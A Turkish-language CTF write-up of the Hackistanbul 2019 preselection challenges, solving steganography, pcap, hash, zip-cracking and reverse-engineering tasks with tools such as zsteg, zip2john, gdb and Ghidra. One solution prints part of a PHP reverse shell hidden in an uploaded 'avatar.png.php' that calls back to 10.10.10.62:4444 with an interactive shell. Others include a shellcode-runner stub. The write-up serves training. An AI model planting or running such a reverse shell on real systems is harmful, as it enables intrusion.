Hackistanbul 2019 (Preselection)

Emeği geçen herkese teşekkürler. Öncelikle en başta takımım goeoe, morph3, and layle’ye teşekkürler.

Soru 1 (Hint: “Futureboy”)

İlk soru aşağıdaki resim:

Aldığımız ipucunu kullanarak https://futureboy.us/stegano/decinput.html adresinde decode ediyoruz ve sonuç:

aHR0cHM6Ly9wYXN0ZWJpbi5jb20vUGZMWWRUNGI=

decode edelim:

$ base64 -d <<< ""
https://pastebin.com/PfLYdT4b

Ve türkiyede olduğumuz için vpn’imizi açıp bu linke devam edince flag’i alıyoruz.

flag:1kn0w17551mpl3

Soru 2 (Hint: None)

Bu soruda bize içerisinde kerberos trafiği olan bi pcap dosyası veriliyor.

Her ne kadar el alışkanlığı ile dosyadan ktgt hashlerini dumplamış olsak da, buna gerek yok.

Pcap dosyasını incelemek yerine strings ile analiz edebiliriz.

Sadece strings kullanmak çok fazla boş sonuç verecektir, bu yüzden en az 8 karakterleri ayırıp bayrağın daha uzun olduğunu umalım.

$ strings 2-krb-816.pcapng -n 8

0370913024805Z
20370913024805Z
XP1             
20050816094029Z
DENYDC.COMdes0
DENYDC.COMdes
20370913024805Z
20370913024805Z
XP1             h
DENYDC.COMdes
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
xp1.denydc.com
20370913024805Z
DENYDC.COM
DENYDC.COM
xp1.denydc.com
DENYDC.COM
DENYDC.COM
DENYDC.COM
...

Burdan gereksiz şeyleri grep -v kullanarak ayıralım.

$ strings 2-krb-816.pcapng -n 8| grep -vi "denydc\|20370913024805Z"

XP1             
20050816094029Z
XP1             h
VPC-W2K3ENT
VPC-W2K3ENT
TQ8z8T'e
VPC-W2K3ENT
VPC-W2K3ENT
u6$Kg~\Yg
#:a=+oOuA?
XP1             l
XP1             l
easy_as_1_2_3

Mükemmel!

flag: easy_as_1_2_3

Soru 3: Hacker’ın ip adresini bul. (Hint: “reverseshell”)

Bize bir zip dosyası veriliyor ve içerisinde bir cms var.

En sık kullanılan reverse shell yöntemlerinden biri file upload ile, o yüzden php dosyalarını print ediyorum.

$ ls -alR . | grep ".php$\|.php5$"

...
-rw-r--r-- 1 kali kali 2992 Jun 14  2015 QqSDK.class.php
-rw-r--r-- 1 kali kali 3010 Jun 14  2015 RenrenSDK.class.php
-rw-r--r-- 1 kali kali 2496 Jun 14  2015 SinaSDK.class.php
-rw-r--r-- 1 kali kali 2414 Jun 14  2015 SohuSDK.class.php
-rw-r--r-- 1 kali kali 2510 Jun 14  2015 T163SDK.class.php
-rw-r--r-- 1 kali kali 2505 Jun 14  2015 TaobaoSDK.class.php
-rw-r--r-- 1 kali kali 2647 Jun 14  2015 TencentSDK.class.php
-rw-r--r-- 1 kali kali 2524 Jun 14  2015 X360SDK.class.php
-rw-r--r-- 1 kali kali  730 Jun 14  2015 config.php
-rw-r--r-- 1 kali kali  151 Jun 14  2015 debug.php
-rw-r--r-- 1 kali kali 11253 Jun 14  2015 File.class.php
-rw-r--r-- 1 kali kali   428 Jun 14  2015 db_config_sample.php
-rw-r--r-- 1 kali kali 2645 Jun 14  2015 function.php
-rw-r--r-- 1 kali kali  677 Jun 14  2015 config.php
-rw-r--r-- 1 kali kali 9985 Jun 14  2015 IndexController.class.php
-rwx------  1 kali kali 3461 Aug 20 12:28 avatar.png.php

En altta avatar.png.php yi görmek mümkün. Farklı izin türü ve png.php oluşu ile dikkat çekiyor. Bakalım nerede

$ find . -name "avatar.png.php"

./Upload/avatar.png.php

Mantıklı, eğer upload klasörü olduğunu bilseydim ilk buna bakardım.

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.62';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...

...

?>

Vee burada.

flag:10.10.10.62

soru 4: (Hint: “debug or nay”)

Bu sefer bize aşağıdaki py dosyası veriliyor.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
if __name__ == "__main__":
    num1=188
    num2=881
    result = 0x0
    i = 1
    for char in FLAG:
        try:
            if i % 2 != 0:
                i += 1
                i  = i ^ num2
            result = char ^ i ^ num1
            redacted_flag.append(result)
        except TypeError:
            print("What did you expect, a flag?")

Çalıştırmak pek bir işe yaramıyor

$ python 4-delusion.py 
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?

Onun yerine nasıl çalıştığını anlamaya çalışalım.

FLAG listesini iterate ediyor. Eğer i bir tek sayı ise, artıyor ve 881 ile xor ediliyor.

ve her adımda char ^ i ^ 188 flag e append ediliyor.

Bu sanırım flag’i generate ediyor gibi gözüküyor, ama type errorleri alıyoruz. Acaba redacted_flag’i mi iterate etmek lazım?

Öncelikle RES=[] şeklinde boş bi liste oluşturalım, ve bu sefer redacted_flag ile generate edelim, ve sonucu RES e ekleyelim.

Hazır başlamışken sonucu da liste olarak değil string olarak print edelim.

redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
RES =[]
if __name__ == "__main__":
    num1=188
    num2=881
    result = 0x0
    i = 1
    for char in redacted_flag:
        try:
            if i % 2 != 0:
                i += 1
                i  = i ^ num2
            result = char ^ i ^ num1
            RES.append(chr(result))
        except TypeError:
            print("What did you expect, a flag?")
    print(''.join(RES))

Vee işte bayrak.

$ python 4-delusion.py 

{tamagotchi}

Soru 5: (Hint: None)

Bu sorular arasında en sevmediğimdi.

Bu sefer bize bi exe veriliyor, ama ilk bakışta bi sıkıntı görmek mümkün.

$ file 5-hi.exe; wc 5-hi.exe

5-hi.exe: ASCII text, with no line terminators
 0  1 40 5-hi.exe

40 byte lık bir aasci, ve içeriği bu:

ea01e56d35d1b236cd41bc569e3847811b03c104

Öncelikle bunun bir dosya hashi olduğunu ve orjinal exe yi bulmamız gerektiğini düşündük, fakat güvende olmak için hash üzerinde bi rockyou’yu denedik, ve kırılmadı. Virustotal ve hybrid-analysis üzerinde aradık, hatta adı diğer hi.exe olan sample ları bile indirdik, fakat nafile. Bu sefer online hash cracking yapan rainbow tablosu sitelere baktık, ama burada da sonuç alamadık, ve altta john u açıp diğer sorulara geçtik.

Adımdaki diğer tüm soruları çözdükten sonra, buna geri döndük ve john da sonuç olmadığını görünce extra yerlere baktık, national software reference library gibi, fakat nafile. Biraz daha zaman kaybettikten sonra sonuç alabildiğimiz bir hash cracking rainbow sitesi bulduk, yani soruyu hazırlayan hash sonucunu buraya upload etmiş demek.

https://hashtoolkit.com/reverse-hash/?hash=ea01e56d35d1b236cd41bc569e3847811b03c104

flag:flag{HelloIGotThflag3}

Soru 6: (Hint: None)

Bu sefer bi png resmi veriliyor.

Binwalk normal, exif yok ve strings bir şey vermiyor


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 802, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, default compression

Zsteg sorusuna benziyor, deneyelim bakalım.

Eğer yüklemediyseniz:

$ sudo gem install zsteg
$ zsteg 6-hi19.png

imagedata           .. file: shared library
b1,g,lsb,xy         .. file: Tower32/600/400 68020 object not stripped - version 27790
b1,rgb,msb,xy       .. file: raw G3 (Group 3) FAX, byte-padded
b1,bgr,lsb,xy       .. text: "\nflag{h-19}"
b3,r,lsb,xy         .. text: "nMS6^Z'0/&"
b4,r,lsb,xy         .. text: "B \"03De#"
b4,g,lsb,xy         .. text: "u\"|}^WB!"
b4,rgb,lsb,xy       .. text: "S$SV6QA$"
b4,bgr,lsb,xy       .. text: "#TT&SV1A"

Ve bu bize bayrağı veriyor.

flag:flag{h-19}

Ook 7: (Ook: Ook!?)

Ook?

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.. ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!.
..... ..... ..!.. .!.!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... .....
!.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!!! !!.?. 

Ook.

Ook.

Ook!

NTIOPMZM > Ook………………………………..? > FLAGHERE

Soru 8: Follow the aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF (Hint: None)

Bu soru için indirme linki bozuk, fakat başlıkta b64 var. Açıp bakalım

$ base64 -d <<< "aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF"

https://imgur.com/a/tRBBh1E

Ve yine türkiyede olduğumuz için vpn’i açıp linke girince bunu buluyoruz.

Dancing man cipher! Google ile ararsanız, her bir adamın bir harfe denk geldiğini göreceksiniz.

flag: dancewithme

Soru 9 (Hint: “Rockyo”)

Bu sefer bize verilen bir bir zip dosyası.

Rockyo büyük ihtimalle rockyou.txt. zip2john yapıp crackleyelim.

$ zip2john 9-queen.zip 

ver 1.0 efh 5455 efh 7875 9-queen.zip/queen.mp3 PKZIP Encr: 2b chk, TS_chk, cmplen=30, decmplen=18, crc=9C1E1DFC
9-queen.zip/queen.mp3:$pkzip2$1*2*2*0*1e*12*9c1e1dfc*0*43*0*1e*9c1e*51f3*6718ecc34afcea96ef96aa279121047d519eb6a7e0355aeb98663bae32b7*$/pkzip2$:queen.mp3:9-queen.zip::9-queen.zip

Hemen kırılıyor, ve şifresi lucky7777

İçerisinde tek bir queen.mp3 var ve içeriği:

flag:w3_w1Ll_r0CKy0U!!!

Hazır başlamışken.

Eğer hala okuyorsanız aklıma geldikçe güldüğüm bir şeyi paylaşmak istiyorum, hazır konusu açılmışken.

Soru 10 (Hint: “Return Codes”)

Bu açık ara en zor ve en güzel soruydu bence, hadi başlayalım.

İlk önce bu binary’yi indiriyoruz..

Potansiyel malware? HADI NE OLDUĞUNA BAKMADAN ÇALIŞTIRALIM!

$ ./10-iLock

Do every step or jump over it
Patch the return value of edgynumber function to 40
I see no change, exiting...

Kendi kendini açıklıyor, yapalım bakalım. Binary patchlemek için radare2/cutter kullanıyorum.

-w modunda açmayı unutmayın..

sym.edgynumber:

Eax return register’ı olmalı, ve de stack’e poplamadan ve returnlemeden önce, 0x539 un register’a yüklendiğini görüyoruz. Bunu değiştirmeliyiz. Sağ click, edit, instruction, ve mov değerini 0x28 (40) yapalım.

$ ./10-iLock.edgypatch 

Do every step or jump over it
Patch the return value of edgynumber function to 40
Well done!
Lets see, what is the pin that I have?

Mükemmel, bişeyler değişti ve stdin için durduk. Şimdi ghidra ile açıp bakalım

Stringlerde ilgi çekici şeyler var, ama flag yok.

Burda değiştirecek pek bir şey yok ama alışkanlıktan dolayı değiştiriyorum.

En başta bi mutex kilidi sanmıştım, ama LOCK() sanırım custom bir şey, bakalım

Yok, hayır, mersenne_twister_engine ile falan uğraşmak istemiyorum. Param 1 olunca başka bir şey yapıldığını görüyorum ve flagden bahsettiğini de farkındayım, bu tarafla uğraşmayacağım bile. Param 1 verilince flagden bahsedip &DAT_00014080 den bir global variable yüklüyor.

Burda çok zaman kaybettim ama paylaşmak istiyorum, çünkü güzel bi deneyimdi. İstemiyorsanız indentli kısmın sonuna kadar skipleyin Global variable’ın yüklendiğini biliyordum, fakat bunun runtime içinde değiştirilebiliyor olacağını düşündüm. Bu nedenle LOCK(0) ı LOCK(1) Olarak patchleyip, LOCK da breakledim.

gdb-peda$ break LOCK
gdb-peda$ run

*break tetiklenir*

$gdb-peda finish
*function sonuna kadar devam*

Sonra:

$ ps -ef | grep iLock

...
kali     19791 19781  0 16:42 pts/4    00:00:00 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
...

$ cat /proc/19791/maps

56555000-56556000 r--p 00000000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56556000-56559000 r-xp 00001000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56559000-5655b000 r--p 00004000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655b000-5655c000 r--p 00005000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655c000-5655d000 rw-p 00006000 08:19 271892                             /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655d000-5657f000 rw-p 00000000 00:00 0                                  [heap]
f7b18000-f7b1a000 rw-p 00000000 00:00 0 
f7b1a000-f7b33000 r--p 00000000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7b33000-f7c81000 r-xp 00019000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7c81000-f7cf1000 r--p 00167000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf1000-f7cf2000 ---p 001d7000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf2000-f7cf4000 r--p 001d7000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf4000-f7cf5000 rw-p 001d9000 08:17 1316978                            /lib/i386-linux-gnu/libc-2.28.so
f7cf5000-f7cf8000 rw-p 00000000 00:00 0 
f7cf8000-f7cfa000 r--p 00000000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7cfa000-f7d10000 r-xp 00002000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d10000-f7d14000 r--p 00018000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d14000-f7d15000 r--p 0001b000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d15000-f7d16000 rw-p 0001c000 08:17 1314711                            /lib/i386-linux-gnu/libgcc_s.so.1
f7d16000-f7d20000 r--p 00000000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7d20000-f7de2000 r-xp 0000a000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7de2000-f7e1a000 r--p 000cc000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1a000-f7e1b000 r--p 00103000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1b000-f7e1c000 rw-p 00104000 08:17 1316981                            /lib/i386-linux-gnu/libm-2.28.so
f7e1c000-f7e87000 r--p 00000000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7e87000-f7f41000 r-xp 0006b000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f41000-f7f91000 r--p 00125000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f91000-f7f97000 r--p 00174000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f97000-f7f98000 rw-p 0017a000 08:17 1838283                            /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f98000-f7f9b000 rw-p 00000000 00:00 0 
f7fcd000-f7fcf000 rw-p 00000000 00:00 0 
f7fcf000-f7fd2000 r--p 00000000 00:00 0                                  [vvar]
f7fd2000-f7fd4000 r-xp 00000000 00:00 0                                  [vdso]
f7fd4000-f7fd5000 r--p 00000000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7fd5000-f7ff1000 r-xp 00001000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ff1000-f7ffb000 r--p 0001d000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ffc000-f7ffd000 r--p 00027000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
f7ffd000-f7ffe000 rw-p 00028000 08:17 1316972                            /lib/i386-linux-gnu/ld-2.28.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

Globalin stackde olduğunu bildiğim için artık stack memorysini gdb ile dump edebilirim.

gdb-peda$ dump binary memory memory.dump 0x56555000 0x5655d000

Bu işlemin stack memory’sini dump edecek, fakat tamamen gereksizmiş, sonradan farkettim.

Ghidra’da variable a çift tıklayarak bulunduğu yere gidiyoruz. Bununla karşılaşıyoruz:

Bunu temizlemek için biraz regex büyüsü yapalım!

  • ilk önce ( [0-9a-f]{8} )([0-9a-f]{2})(.*) i $2 olarak replace edin.
  • Sonra her satırda 1 byte ile kalıyoruz. Şimdi tüm null byteları silelim. Yani, replace(‘00\n’, ‘\n’)
  • Şimdi her şeyi tek bir satıra alalım(‘\n’,’’)

Elimizde kalan:

353f283a070b1413230f0c1510101918231105230e1d1218131112190f0f4301

Bu noktada return codes ipucunu hatırlayıp bunu 7c ile xor edebilirsiniz, veya benim gibi tüm 1 byte anahtarları deneyebilirsiniz.

cyberchef tarifi

flag:ICTF{who_spilled_my_randomness?}

Soru 11 (Hint: None)

Tekrar jpeg.

Jpeg dosyası ve resimde password üzerinde vurgu yapılıyor, tabiki steghide.

CTF hakkındaki “hack,hackistanbul,turkey,ctf,password,pass” gibi anahtar kelimelerden ve kombinasyonlarından liste oluşturabilirsiniz, ama sonuç o ki şifre: “hackistanbul”

$ steghide extract -sf 11-meim.jpg 

Enter passphrase: hackistanbul
wrote extracted data to "flag.txt".

$ cat flag.txt

{G00dAndW3lcomeToHa3kIstanbul}

flag:{G00dAndW3lcomeToHa3kIstanbul}

Soru 12 (Hint: None)

12 başka bir binary. Hepsi bu.

$ strings 12-dosya.exe | grep "flag"

flag-hi19
flag{hi19}

flag: flag-hi19

Soru 13 (Hint: None)

13 hex dump gibi gözüküyor, ama tersten?

65d6 0377 5674 1587 4585 46f4 6575 2585 :00100000
6503 46f6 65c6 9577 a544 2575 2664 c633 :0f000000
75b6 a5f4 6555 1375 3684 0785 1623 d413 :0e000000
65a6 a4b4 2523 a454 45c6 8686 d4b6 0387 :0d000000
65d6 1343 9575 d497 35b6 6555 a026 8424 :0c000000
8565 d687 7755 6546 75a5 4425 45d4 b613 :0b000000
4365 7453 f416 1507 3526 b6a4 0565 7513 :0a000000
4346 2365 75a5 6446 1635 8424 3755 d613 :09000000
3575 6465 47e4 5547 a555 8524 4595 c646 :08000000
f646 c6a5 74a5 8407 b6a0 d4c6 a584 75b6 :07000000
a5b6 9565 a474 35c6 65a5 2664 0784 45c6 :06000000
a516 3574 2574 a564 a516 d403 a477 6575 :05000000
07b4 2623 2537 75b6 4685 2674 2527 34b6 :04000000
1354 65c6 8675 d4e6 8685 65c6 46b4 7565 :03000000
6557 35c6 0786 a0d4 6507 d465 c625 7436 :02000000
2325 8535 8507 1625 c6a4 2745 7507 e6e4 :01000000
6554 9795 a7c6 1555 7583 9334 76d3 d3a0 :00000000

İçeriği neymiş bakalım.

  • İlk önce ters çevirelim.
  • Sonra satır başlarındaki ?????: kısmını silelim
  • Sonra hex’den decode edelim

Cyberchef förmülü

Ters b64 gibi duruyor, çevirip tekrar decode edelim.

Ve başka bir b64.

B64 gelmeyene kadar devam edelim.

Veeeee, sonunda flag.

flag:{its_something}

Soru 14 (Hint: None)

14 başka bir MACOS binary’si.

Strings analizi iyi bir şey çıkarmıyor, fakat ghidrayı kullanarak çağırılmayan fonksiyonlar olduğunu görebiliyorum. İçinde _HelloFunction var, ve içeriği:

Ghidra type hatası yapıyor, acStack56 tipini char[4] den char[28] olarak düzeltelim.

Evet, bu bayrak. replace ( local_..\[.{1,2}\] = ')(.)';\n? , $2

flag:{TFtisNiTceToPlayWithlol}

Soru 15 (Hint: “comparee function”)

Bu soru da bir binary..

Çalıştırmak pek bir şey katmıyor.

$ ./15-serialkey.1

Please enter the serial key:
asdf
Serial-Key is invalid

Hadi ghidra ile açalım!

String olarak hardcoded bir key yok, kendisi generate ediyor olsa gerek.

Comparee dışında pek bir incelenecek şey yok (zaten hint vardı)

Eğer çok deneyimli iseniz, 2 block getNum() ve 2 block getString() ile generate edildiğini görebilirsiniz. Statik analiz yaparak anahtarı bulabilirsiniz, fakat debugger ile daha kolay. gdb yi açalım.

gdb-peda$ break comparee

Breakpoint 1 at 0x2651

Çalıştırıp herhangi bir şey girelim Bunu tamamlayıp comparee de durmalı.

Sonraki adımda bir şeylerin generate edilip registerlarda tutulduğunu görebilirsiniz.

Next ile devam edelim, bu blokların birleştirildiğini göreceksiniz.

Ve işte anahtar!

Hadi deneyelim!

$ ./15-serialkey.1 

Please enter the serial key:
336663-RLD-670334-LDWR
Serial-Key is valid

flag:336663-RLD-670334-LDWR

Soru 16 (Hint: “Flag format is MATH{hex}”)

Bu dissassembled bir koda benziyor.

   0x5655619d <+0>:    lea    ecx,[esp+0x4]
   0x565561a1 <+4>:    and    esp,0xfffffff0
   0x565561a4 <+7>:    push   DWORD PTR [ecx-0x4]
   0x565561a7 <+10>:    push   ebp
   0x565561a8 <+11>:    mov    ebp,esp
   0x565561aa <+13>:    push   ebx
   0x565561ab <+14>:    push   ecx
   0x565561ac <+15>:    sub    esp,0x10
   0x565561b4 <+23>:    add    eax,0x2e4c
   0x565561b9 <+28>:    mov    DWORD PTR [ebp-0x18],0x0
   0x565561c0 <+35>:    mov    DWORD PTR [ebp-0x10],0x4171
   0x565561c7 <+42>:    mov    DWORD PTR [ebp-0x14],0x0
   0x565561ce <+49>:    mov    DWORD PTR [ebp-0x18],0x0
   0x565561d5 <+56>:    jmp    0x565561e4 <main+71>
   0x565561d7 <+58>:    mov    edx,DWORD PTR [ebp-0x10]
   0x565561da <+61>:    sub    edx,0x3
   0x565561dd <+64>:    add    DWORD PTR [ebp-0x14],edx
   0x565561e0 <+67>:    add    DWORD PTR [ebp-0x18],0x1
   0x565561e4 <+71>:    cmp    DWORD PTR [ebp-0x18],0x2
   0x565561e8 <+75>:    jle    0x565561d7 <main+58>
   0x565561ea <+77>:    mov    DWORD PTR [ebp-0xc],0x7589
   0x565561f1 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x565561f4 <+87>:    sub    DWORD PTR [ebp-0x14],edx
   0x565561f7 <+90>:    mov    edx,DWORD PTR [ebp-0x10]
   0x565561fa <+93>:    add    DWORD PTR [ebp-0x14],edx
   0x565561fd <+96>:    sub    esp,0x8
   0x56556200 <+99>:    push   DWORD PTR [ebp-0x14]

Bunu assemble edebilecek formata çekelim, replace ^.*:,’’.

    lea    ecx,[esp+0x4]
    and    esp,0xfffffff0
    push   DWORD PTR [ecx-0x4]
    push   ebp
    mov    ebp,esp
    push   ebx
    push   ecx
    sub    esp,0x10
    add    eax,0x2e4c
    mov    DWORD PTR [ebp-0x18],0x0
    mov    DWORD PTR [ebp-0x10],0x4171
    mov    DWORD PTR [ebp-0x14],0x0
    mov    DWORD PTR [ebp-0x18],0x0
    jmp    0x565561e4 <main+71>
    mov    edx,DWORD PTR [ebp-0x10]
    sub    edx,0x3
    add    DWORD PTR [ebp-0x14],edx
    add    DWORD PTR [ebp-0x18],0x1
    cmp    DWORD PTR [ebp-0x18],0x2
    jle    0x565561d7 <main+58>
    mov    DWORD PTR [ebp-0xc],0x7589
    mov    edx,DWORD PTR [ebp-0xc]
    sub    DWORD PTR [ebp-0x14],edx
    mov    edx,DWORD PTR [ebp-0x10]
    add    DWORD PTR [ebp-0x14],edx
    sub    esp,0x8
    push   DWORD PTR [ebp-0x14]

Hmm, <main+71> and <main+58> Doğru değil, bunlara label verip labelları doğru yerlere ekleyelim.

    lea    ecx,[esp+0x4]
    and    esp,0xfffffff0
    push   DWORD PTR [ecx-0x4]
    push   ebp
    mov    ebp,esp
    push   ebx
    push   ecx
    sub    esp,0x10
    add    eax,0x2e4c
    mov    DWORD PTR [ebp-0x18],0x0
    mov    DWORD PTR [ebp-0x10],0x4171
    mov    DWORD PTR [ebp-0x14],0x0
    mov    DWORD PTR [ebp-0x18],0x0
    jmp    ahead
back:
    mov    edx,DWORD PTR [ebp-0x10]
    sub    edx,0x3
    add    DWORD PTR [ebp-0x14],edx
    add    DWORD PTR [ebp-0x18],0x1
ahead:
    cmp    DWORD PTR [ebp-0x18],0x2
    jle    back
    mov    DWORD PTR [ebp-0xc],0x7589
    mov    edx,DWORD PTR [ebp-0xc]
    sub    DWORD PTR [ebp-0x14],edx
    mov    edx,DWORD PTR [ebp-0x10]
    add    DWORD PTR [ebp-0x14],edx
    sub    esp,0x8
    push   DWORD PTR [ebp-0x14]

defuse.ca ile assemble edebiliriz.

Buradan bize string lateral lazım:

"\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC"

Sonrasında bunu shellcode gibi çalıştırabiliriz.

int main(void)
{
    char code[] = "\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC";
    int (*fn)() = (int(*)())code;
    return fn();
}
$ gcc -fno-stack-protector -z execstack -m32 16.c -o asm

$ gdb asm

Segfault almadan önce, yapılan son instruction ın stack üzerine 0x9032’yi pushladığını görebilirsiniz.

flag:0x9032

Soru 17 (Hint: None)

Bunu malesef çözemedik. Bir binary indiriyoruz, fakat üzerinde pek bir şey yok.

String yok, data yok, sadece parametre olarak 2 filename alan ve bunları xor yapan bir MACOS executable’ı.

Belki de sadece bi ipucudur, eski flagleri veya dosyaları xor etmemiz gerekiyordur diye düşündük, fakat nafile.

Question 18-19

Bunları birleştiriyorum çünkü hemen hemen 14 ile aynı.

Ghidra ile açıp retype ediyoruz.


flag:{GettingTheFlagIsNotcool}


flag:{LIKtotryhArderIAmCo0ool}

Question 20 (Hint: None)

Bu da bir pcap dosyası..

$ strings 20-preselection-pcap.pcap | grep flag
<DIV><FONT face=3DArial size=3D2>flag-hack-istanbul-ctf</FONT></DIV></BODY></HTML>

ez.

flag:flag-hack-istanbul-ctf